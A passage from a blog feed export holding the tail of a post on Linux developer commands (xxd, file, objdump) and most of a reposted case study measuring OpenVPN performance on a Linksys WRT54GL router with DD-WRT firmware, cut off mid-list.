/&gt;&lt;br /&gt;$ xxd -i foo.bin&lt;br /&gt;&lt;br /&gt;unsigned char foo_bin[] = {&lt;br /&gt;  0x61, 0x62, 0x63, 0x64&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;unsigned int foo_bin_len = 4;&lt;br /&gt;9. file&lt;br /&gt;UNIX and Linux have never enforced any policy of filename extensions. Naming conventions have evolved, but they are guidelines, not policies. If you want to name your digital picture image00.exe, go ahead. Your Linux photo application gladly accepts the file no matter what the name is, although it may be hard to remember.&lt;br /&gt;&lt;br /&gt;The file command can help when you have to retrieve a file from a brain-dead Web browser, which mangles the name—say a file that should have been named foo.bar.hello.world.tar.gz comes out as foo.bar. The file command can help like this:&lt;br /&gt;&lt;br /&gt;$ file foo.bar&lt;br /&gt;&lt;br /&gt;foo.bar: gzip compressed data,&lt;br /&gt;was &quot;foo.bar.hello.world.tar&quot;, from Unix&lt;br /&gt;Perhaps you received a distribution with a bin directory full of dozens of files, some of which are executables and some are scripts. Suppose you want to pick out all the shell scripts. Try this:&lt;br /&gt;&lt;br /&gt;$ file /usr/sbin/*  | grep script&lt;br /&gt;&lt;br /&gt;/usr/sbin/makewhatis:  a /bin/bash script text&lt;br /&gt;executable&lt;br /&gt;&lt;br /&gt;/usr/sbin/xconv.pl:    a /usr/bin/perl script&lt;br /&gt;text executable&lt;br /&gt;The file command identifies all the files in the bin directory, and the grep command filters out everything not a script. Here are some more examples:&lt;br /&gt;&lt;br /&gt;file core.4867&lt;br /&gt;&lt;br /&gt;core.4867: ELF 32-bit LSB core file Intel 80386,&lt;br /&gt;version 1 (SYSV), SVR4-style, from &#39;abort&#39;&lt;br /&gt;&lt;br /&gt;file /boot/initrd-2.4.20-6.img&lt;br /&gt;&lt;br /&gt;/boot/initrd-2.4.20-6.img: gzip compressed data,&lt;br /&gt;from Unix, max compression&lt;br /&gt;&lt;br /&gt;file -z /boot/initrd-2.4.20-6.img&lt;br /&gt;&lt;br /&gt;/boot/initrd-2.4.20-6.img: Linux rev 1.0 ext2&lt;br /&gt;filesystem data (gzip compressed data, from Unix,&lt;br /&gt;max compression)&lt;br /&gt;Just as you shouldn&#39;t judge a book by its cover, you shouldn&#39;t assume the contents of a file based on its name.&lt;br /&gt;&lt;br /&gt;10. objdump&lt;br /&gt;This is a more advanced tool and is not for the faint of heart. It&#39;s sort of a data-mining tool for object files. A treasure trove of information is encoded inside your object code, and this tool lets you see it. One useful thing this tool can do is dump assembly code mixed with source lines, something gcc -S doesn&#39;t do for some reason. Your object code must be compiled with debug (-g) for this to work:&lt;br /&gt;&lt;br /&gt;objdump --demangle --source myobject.o&lt;br /&gt;objdump also can help extract binary data from a core file for postmortem debug when you don&#39;t have access to a debugger. A complete example is too long for this article, but you need the virtual address from nm or obdump -t. Then, you can dump the file offsets for each virtual address with objdump -x. Finally, objdump is able to read from non-ELF file formats that gdb and other tools can&#39;t touch.&lt;br /&gt;Author: John Fusco</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/2144558829594655824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/2144558829594655824' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2144558829594655824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2144558829594655824'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2011/11/ten-commands-every-linux-developer.html' title='Ten Commands Every Linux Developer Should Know'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-4174906315195486691</id><published>2011-10-08T03:15:00.000-07:00</published><updated>2011-10-08T03:17:44.391-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Performance Analysis of OpenVPN on a Consumer Grade Router"/><title type='text'>Performance Analysis of OpenVPN on a Consumer Grade Router</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Times New Roman&#39;; font-size: medium; &quot;&gt;&lt;b&gt;Author: Michael Hall&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Times New Roman&#39;; &quot;&gt;&lt;h2 style=&quot;font-size: medium; &quot;&gt;Abstract:&lt;/h2&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;Virtual Private Networks (VPNs) offer an alternative solution using Internet Protocol (IP) tunnels to create secure, encrypted communication between geographically distant networks using a common shared medium such as the Internet. They use tunneling to establish end-to-end connectivity. OpenVPN is a cross-platform, secure, highly configurable VPN solution. Security in OpenVPN is handled by the OpenSSL cryptographic library which provides strong security over a Secure Socket Layer (SSL) using standard algorithms such as Advanced Encryption Standard (AES), Blowfish, or Triple DES (3DES). The Linksys WRT54GL router is a consumer-grade router made by Linksys, a division of Cisco Systems, capable of running under Linux. The Linux-based DD-WRT open-source router firmware can run OpenVPN on the Linksys WRT54GL router. For this case study, the performance of OpenVPN is measured and analyzed using a 2&lt;/span&gt;&lt;sup style=&quot;font-size: medium; &quot;&gt;k-p&lt;/sup&gt;&lt;span class=&quot;Apple-style-span&quot; &gt; fractional factorial design for 5 minus 1 factors where k = 5 and p = 1. The results show that the throughput is mainly limited by the encryption cipher used, and that the round-trip time (RTT) is mostly dependent on the transport protocol selected.&lt;/span&gt;&lt;hr style=&quot;font-size: medium; &quot;&gt;&lt;b style=&quot;font-size: medium; &quot;&gt;Keywords:&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; &gt; Virtual Private Network, Performance Analysis, WRT54GL, DD-WRT, OpenVPN, OpenSSL, Experimental Design, Fractional Factorial Design&lt;/span&gt;&lt;hr style=&quot;font-size: medium; &quot;&gt;&lt;h2 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;toc&quot;&gt;&lt;/a&gt;Table of Contents&lt;/h2&gt;&lt;ul style=&quot;font-size: medium; &quot;&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec1&quot;&gt;1. Introduction&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec1.1&quot;&gt;1.1 Background&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec1.2&quot;&gt;1.2 The VPN&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec1.3&quot;&gt;1.3 The Router&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec2&quot;&gt;2. VPN Characteristics&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec2.1&quot;&gt;2.1. Transport Protocol&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec2.2&quot;&gt;2.2. Performance Metrics&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec2.3&quot;&gt;2.3. System Parameters&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec3&quot;&gt;3. Performance Analysis&lt;/a&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec3.1&quot;&gt;3.1. Measurement Tools&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec3.2&quot;&gt;3.2. Experimental Setup&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec3.3&quot;&gt;3.3. Experimental Results&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec3.4&quot;&gt;3.4. Future Work&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#sec4&quot;&gt;4. Summary&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#ref&quot;&gt;References&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#acro&quot;&gt;List of Acronyms&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;hr style=&quot;font-size: medium; &quot;&gt;&lt;br /&gt;&lt;h2 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec1&quot;&gt;1&lt;/a&gt; Introduction&lt;/h2&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;In the past, enterprises have used leased lines over long distances for secure communication between two networks. Typically this is done in order to communicate data, voice, or other traffic between two geographically-separated sites of a company or with a valued business partner. Leased lines provide dedicated bandwidth and a private link between the two locations. Running leased lines are not always possible or practical for all enterprises and everyday users due to cost, space, and time of installation [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Joha08&quot;&gt;Joha08&lt;/a&gt;]. Thus, an alternative solution is needed.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Virtual Private Networks (VPNs) were created to address this problem by using the Internet to facilitate communications. Internet access is cheap; however, it is insecure and often bandwidth limited. VPNs are designed to create secure, encrypted Internet Protocol (IP) tunnels to communicate between geographically-distant networks across the Internet. This solution is cost-effective for and available to companies and individuals alike and provides secure access to resources on the remote network.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;For this case study, the performance of OpenVPN running under Linux on the Linksys WRT54GL router is analyzed. The sections that follow give background information on VPNs, and describe the VPN solution and router used in this case study.&lt;/p&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec1.1&quot;&gt;1.1&lt;/a&gt; Background&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Tunneling is a method by which data is transferred across a network between two endpoints. VPNs use tunnels to establish end-to-end connectivity. A packet or frame destined to a remote network is first encapsulated by adding additional header information and is then sent across the network to the remote endpoint. At the endpoint, the header information is removed and the packet is sent out onto the remote network [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Joha08&quot;&gt;Joha08&lt;/a&gt;]. This process is shown in Figure 1.&lt;/p&gt;&lt;p class=&quot;c&quot; style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;fig1&quot;&gt;&lt;img src=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/fig1.png&quot; alt=&quot;Figure 1: VPN tunnel between two endpoints across an network&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Figure 1: VPN tunnel between two endpoints across an network [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Joha08&quot;&gt;Joha08&lt;/a&gt;]&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;There are tradeoffs to using a VPN solution compared to dedicated lines. A VPN offers benefits such as flexibility, transparency, security, and cost. However, it has some drawbacks such as availability and bandwidth [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Kolesnikov02&quot;&gt;Kolesnikov02&lt;/a&gt;]. A VPN connection is very flexible because a user can connect to the remote network from anyplace with an Internet connection. Transparency is achieved through tunneling which allows arbitrary traffic to traverse the VPN. For VPNs, security is provided using authentication and encryption. Authentication restricts access to the network by allowing only authorized users to connect. Encryption provides privacy by scrambling the data in the tunnel. The cost of a VPN is much less than the cost of running dedicated lines, particularly if a freely available open source VPN solution is used. VPN solutions are typically deployed to provide access over the Internet which sometimes varies in the availability and bandwidth of the connection. In this case, dedicated lines provide a clear advantage. They are both highly available and provide guaranteed bandwidth.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;In general, a VPN solution should take into consideration security, key distribution, scalability, transport protocol, interoperability, and cross-platform availability [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Kolesnikov02&quot;&gt;Kolesnikov02&lt;/a&gt;]. Security is perhaps the biggest concern because there are so many ways to implement security incorrectly. Key distribution is related to security and has to do with the procedure by which keys are distributed to clients. If keys are distributed in an insecure manner, they can be intercepted, allowing an intruder to gain access to the private network. Scalability refers to how well a VPN solution scales in terms of the number of connections and sites. The transport protocol has an effect on the overhead and performance of the VPN tunnel which will be described in a later section. Interoperability refers to devices running the same VPN solution being able to work with each other. Simple, well thought out designs tend to be the more interoperable. Last, cross-platform availability allows the VPN solution to work with multiple operating system platforms.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;In the next section, the VPN solution used in this case study which takes these points into consideration is described.&lt;/p&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec1.2&quot;&gt;1.2&lt;/a&gt; The VPN&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;OpenVPN is a cross-platform, secure, highly configurable VPN solution [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#OpenVPN&quot;&gt;OpenVPN&lt;/a&gt;]. It uses virtual interfaces provided by the universal Network TUNnel/TAP (TUN/TAP) driver and is implemented entirely in user-mode in the least privileged protection ring of the system. This decision was made to provide better security. If a vulnerability is found by an intruder, their access will be limited. However, this does affect performance due to multiple memory copies between kernel and user space. OpenVPN supports peer-to-peer and multi-client server configurations which makes many VPN topologies possible: host-host, host-network, and network-network. It supports creating a Layer 3 or Layer 2 VPN using TUN/TAP devices, respectfully [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Feilner06&quot;&gt;Feilner06&lt;/a&gt;].&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Security in OpenVPN is handled by the OpenSSL cryptographic library [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#OpenSSL&quot;&gt;OpenSSL&lt;/a&gt;] which provides strong security over Secure Socket Layer (SSL) using standard algorithms such as Advanced Encryption Standard (AES), Blowfish, or Triple DES (3DES). Certificates are used for authentication, and symmetric and asymmetric ciphers for encryption. A cipher has several characteristic parameters: key length, block size, and mode. Key length dictates the strength of the cipher. The block size dictates how much data is encrypted in a block. The mode dictates how the encryption cipher is actually used. Other important factors are key distribution and the cryptographic strength of the cipher. OpenSSL uses symmetric and asymmetric ciphers as part of the overall security. However, the security is only as strong as the weakest link. Kolesnikov and Hatch give an example. If a 40-bit symmetric key and a 4096 bit asymmetric key are used for the ciphers, likely the 40-bit key will be the weakest link, making a 4096 bit asymmetric key unnecessarily large [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Kolesnikov02&quot;&gt;Kolesnikov02&lt;/a&gt;].&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;In OpenSSL, block ciphers are used for symmetric encryption and can be used in different modes. OpenVPN uses a mode called Cipher Block Chaining (CBC) which makes the cipher text of the current block dependent on the cipher text of the previous block. This prevents an attacker from seeing patterns between blocks with identical plaintext messages and manipulating one or more of these blocks [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Kolesnikov02&quot;&gt;Kolesnikov02&lt;/a&gt;].&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The philosophy for judging the security of an encryption cipher is based on the test of time. A cipher that has stood scrutiny of the security community for many years with its details published is generally considered strong. If the cipher had any major flaws, they likely would have been found. Some of the criteria for selecting a cipher are security, performance, and availability. The cipher selected should meet security needs [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Kolesnikov02&quot;&gt;Kolesnikov02&lt;/a&gt;].&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The cross-platform support in OpenVPN allows it to be deployed to other systems including embedded routers. The router used in this case study is described next.&lt;/p&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec1.3&quot;&gt;1.3&lt;/a&gt; The Router&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The Linksys WRT54GL router is a consumer-grade router made by Linksys [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Linksys&quot;&gt;Linksys&lt;/a&gt;], a division of Cisco Systems, capable of running under Linux. A Linux firmware actively being developed is DD-WRT [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#DD-WRT&quot;&gt;DD-WRT&lt;/a&gt;] which is based on the OpenWrt kernel [OpenWrt]. DD-WRT is released under the GNU General Public License (GPL) and provides an alternative to the stock firmware in the Linksys router. The firmware allows the router to take on many roles: Internet gateway, VPN gateway, firewall, wireless access point, dynamic Domain Name Service (DNS) client, etc. It has a friendly web interface and supports many features beyond the router&#39;s original capabilities. It supports OpenVPN through special firmware and can be extended from the console using packages. Console access is given by both Secure Shell (SSH) and Telnet. For basic and advanced configurations, tutorials are available [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#DD-WRT Tutorials&quot;&gt;DD-WRT Tutorials&lt;/a&gt;].&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;OpenVPN, which is supported in the DD-WRT firmware [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#OpenVPN/DD-WRT wiki&quot;&gt;OpenVPN/DD-WRT wiki&lt;/a&gt;], can be used on the router in a variety of different ways. First, key management can be maintained on the router. This allows certificates to be generated for users from the console; however, due to a limited amount of flash memory available, this requires a modification to the Linksys router to add a SecureDigital/MultiMediaCard (SD/MMC) memory card. A tutorial on the OpenWrt wiki describes how to do this [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#MMC Tutorial&quot;&gt;MMC Tutorial&lt;/a&gt;]. Second, the VPN package can be configured in several different topologies such as host-network or network-network depending on whether users will connect to the VPN or will access the remote network using a site-to-site connection. Last, the VPN virtual interface can be bridged to the physical network interface, allowing Ethernet frames to traverse between clients and the private network.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;VPNs provide a cost-effective alternative solution to leased lines and are able to create secure connections between two end-points. OpenVPN is a VPN solution which can run on an embedded router running Linux. The Linksys WRT54GL router can run Linux through a firmware upgrade to the DD-WRT firmware. In the next section, the characteristics of a VPN will be discussed as they relate to performance analysis.&lt;/p&gt;&lt;h2 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec2&quot;&gt;2&lt;/a&gt; VPN Characteristics&lt;/h2&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;There are many characteristics of a VPN that affects the performance of the system. In the sections that follow, the transport protocol is discussed, a set of performance metrics are defined, and the system parameters are identified.&lt;/p&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec2.1&quot;&gt;2.1&lt;/a&gt; Transport Protocol&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The transport protocol used for the VPN tunnel will have an impact on the performance of the VPN. If the Transport Control Protocol (TCP) is used, it will have an undesirable effect when TCP is used in the tunnel as well. This is called TCP stacking. TCP is a connection-oriented protocol that was not designed to be stacked. It assumes an unreliable medium and retransmits packets when a timeout occurs. TCP uses an adaptive timeout which exponentially increases to avoid an effect known as meltdown. The problem occurs when both TCP protocols timeout. This is the case when the base connection loses packets. TCP will queue a retransmission and increase the timeout, trying not to break the connection. The upper-layer protocol will queue retransmissions faster than the lower layer due to having a smaller timeout value. This causes the meltdown effect that TCP was originally trying to prevent. The User Datagram Protocol (UDP), a datagram carrier having the same characteristics as IP, should be used as the lower layer protocol [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Titz01&quot;&gt;Titz01&lt;/a&gt;].&lt;/p&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec2.2&quot;&gt;2.2&lt;/a&gt; Performance Metrics&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Network performance is measured using a set of performance criteria or metrics. For OpenVPN, the service provided is access to the private network. The response time, throughput, and utilization are used to characterize the performance of the VPN. In the case that errors occur, the probability of errors and time between errors should be measured [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Jain91&quot;&gt;Jain91&lt;/a&gt;]. A list of selected performance metrics are below:&lt;/p&gt;&lt;ol style=&quot;font-size: medium; &quot;&gt;&lt;li&gt;Overhead&lt;/li&gt;&lt;li&gt;Round-trip time&lt;/li&gt;&lt;li&gt;Jitter&lt;/li&gt;&lt;li&gt;TCP throughput&lt;/li&gt;&lt;li&gt;Router CPU utilization&lt;/li&gt;&lt;li&gt;Client CPU utilization&lt;/li&gt;&lt;li&gt;Probability of error&lt;/li&gt;&lt;li&gt;Time between errors&lt;/li&gt;&lt;li&gt;Link utilization&lt;/li&gt;&lt;/ol&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Every VPN packet incurs overhead from the encapsulation process. When a payload is sent through the VPN tunnel, headers/trailers of various protocols are added to the payload to form a routable packet. Additional overhead comes from encryption ciphers used to secure the tunnel. The effects of overhead can be alleviated by using compression to reduce the amount of data transmitted [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Khanvilkar04&quot;&gt;Khanvilkar04&lt;/a&gt;].&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The overhead in OpenVPN is a function of the interface, transport protocol, cryptographic algorithm, and compression. The fixed overhead added to each packet is 14 bytes from the frame header and 20 bytes from the IP header. The transport protocol, used to form the VPN tunnel, contributes 8 (32) bytes from the UDP (TCP) header. The cryptographic algorithm used to secure the tunnel will contribute to the overhead depending on the algorithm. Part of the overhead includes the hash from the medium access control (MAC) algorithm, such as MD5 (128-bits) or SHA-1 (160-bits), and zero padding for block encryption ciphers. Compression of uncompressible data adds at most one byte of overhead. Other minor contributions come from sequence numbers and timestamps that are included to defeat reply attacks [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Khanvilkar04&quot;&gt;Khanvilkar04&lt;/a&gt;].&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The round-trip time (RTT) is the time it takes for a packet to reach a remote host and return back and is related to the latency of the connection. Latency through a VPN tunnel is dependent on the machine hardware, the link speed, and the encapsulation time. Higher latencies in OpenVPN are caused by multiple copies between kernel and user space, and the compute-intensive operations of encryption and compression. Latency can be improved, generally, by using faster hardware and better algorithms [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Khanvilkar04&quot;&gt;Khanvilkar04&lt;/a&gt;]. Jitter is the variation in the latency of packets received by a remote host. For applications with streaming connections, jitter can be alleviated by buffering the stream. However, this adds delay in the connection which is intolerable for some applications such as Voice over Internet Protocol (VoIP). Low latency and low jitter are better for these metrics.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Throughput is a measure of the amount of payload data that can be transmitted end-to-end through the VPN tunnel. It does not include the overhead incurred by protocol headers / trailers, and the VPN tunnel. Similar to the latency, the throughput is limited by the machine hardware and encapsulation time; although it can be improved by using faster hardware and better algorithms. Throughput is a critical performance metric which will limit the number of users whom the VPN can support. Thus, higher throughput is better.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The performance of a VPN solution is often limited by the CPU on one or both of the endpoints which must encapsulate, encode, transmit, receive, and decode packets. Monitoring the CPU utilization of each device allows us to identify the bottleneck in the network communication. For this metric, utilization in the middle of the range is better.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The link utilization is the ratio of the physical network interface throughput to the link speed. In this case, the throughput is the total throughput of all packets transmitted including overhead. This metric is not directly useful, however, it can be used indirectly through a calculation to gauge the efficiency of the packets transmitted through the VPN tunnel. Higher link utilization is better only when the throughput is also higher.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Errors can sometimes occur in network communication causing packets to be lost, corrupted, duplicated, or out of order. When an error occurs, it is important to know the probability of it happening again, and the time between errors. A related metric is packet loss which gives the percentage of packets that were lost or corrupted. No errors are ideal, but low error rate is acceptable.&lt;/p&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec2.3&quot;&gt;2.3&lt;/a&gt; System Parameters&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The performance in OpenVPN is affected by many parameters ranging from the hardware to the configuration. A list of these parameters is below.&lt;/p&gt;&lt;ol style=&quot;font-size: medium; &quot;&gt;&lt;li&gt;Network topology&lt;/li&gt;&lt;li&gt;Memory&lt;/li&gt;&lt;li&gt;Speed of the router CPU&lt;/li&gt;&lt;li&gt;Speed of the network&lt;/li&gt;&lt;li&gt;VPN topology&lt;/li&gt;&lt;li&gt;Interface&lt;/li&gt;&lt;li&gt;Transport Protocol&lt;/li&gt;&lt;li&gt;Encryption cipher&lt;/li&gt;&lt;li&gt;Encryption key size&lt;/li&gt;&lt;li&gt;Compression algorithm&lt;/li&gt;&lt;/ol&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The network topology will affect system performance. For example, a topology in which the client is located far from the OpenVPN server will have to contend with network traffic unlike a client that is directly connected. Hardware factors such as memory, speed of the router CPU, and speed of the network can all affect system performance. At least one of these three hardware factors will be a bottleneck in the system. The VPN topology, such as host-host, host-network, and network-network, will affect system performance. The choice of the interface, transport protocol, encryption cipher, key size, and compression algorithm will all affect system performance. This is due to additional overhead and compute-intensive operations.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;The transport protocol, if it is TCP, for the VPN tunnel will have an impact on the network performance. UDP is a protocol which has the same characteristics as IP which will not suffer from meltdown caused by retransmissions. There are many metrics that are used to measure network performance. While not all of them are significant, each one should nonetheless be included in the performance analysis. There are many system parameters that affect the performance of the VPN. Only a subset of these parameters can be changed. For the performance analysis done in the next section, a set of factors were chosen and varied in a 2&lt;sup&gt;k-p&lt;/sup&gt; fractional factorial design.&lt;/p&gt;&lt;h2 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec3&quot;&gt;3&lt;/a&gt; Performance Analysis&lt;/h2&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;There are three evaluation techniques that can be used for performance analysis: analytical modeling, simulation, and measurement. For assessing the performance of OpenVPN on the Linksys WRT54GL router, measurement was chosen. The performance can be measured and analyzed through a series of experiments using the experimental design method described by Jain called 2&lt;sup&gt;k-p&lt;/sup&gt; fractional factorial design [&lt;a href=&quot;http://www.cs.wustl.edu/~jain/cse567-08/ftp/ovpn/index.html#Jain91&quot;&gt;Jain91&lt;/a&gt;]. This method is intended to determine the effects and percent variation of the effects for each factor and their interactions. Confidence intervals can also be calculated to determine the significance of each effect. In the sections that follow, the measurement tools used and the experimental setup are described. The results of the study are then presented.&lt;/p&gt;&lt;h3 style=&quot;font-size: medium; &quot;&gt;&lt;a name=&quot;sec3.1&quot;&gt;3.1&lt;/a&gt; Measurement Tools&lt;/h3&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;Assessing the performance of OpenVPN requires the use of several measurement tools for generating, measuring, and monitoring network traffic. The tools used in this case study are &lt;i&gt;wireshark&lt;/i&gt;, &lt;i&gt;iperf&lt;/i&gt;, &lt;i&gt;ping&lt;/i&gt;, and &lt;i&gt;sar&lt;/i&gt;. Of these four tools, &lt;i&gt;wireshark&lt;/i&gt;, &lt;i&gt;iperf&lt;/i&gt;, and &lt;i&gt;ping&lt;/i&gt; are available for both Windows and Linux. Although Windows has a &lt;i&gt;ping&lt;/i&gt; tool, it is limited and not sufficient for the latency and packet loss tests in this case study. The last tool, &lt;i&gt;sar&lt;/i&gt;, is available only on Linux. A description of each tool is given below.&lt;/p&gt;&lt;p style=&quot;font-size: medium; &quot;&gt;&lt;/p&gt;&lt;ul style=&quot;font-size: medium; &quot;&gt;&lt;li&gt;&lt;i&gt;Wireshark&lt;/i&gt;, formally &lt;i&gt;Ethereal&lt;/i&gt;, is a network protocol analyzer with a rich feature set for capturing and analyzing network traffic. It has deep inspection and filtering capabilities of hundreds of protocols, making it a valuable tool for monitoring network traffic [&lt;a 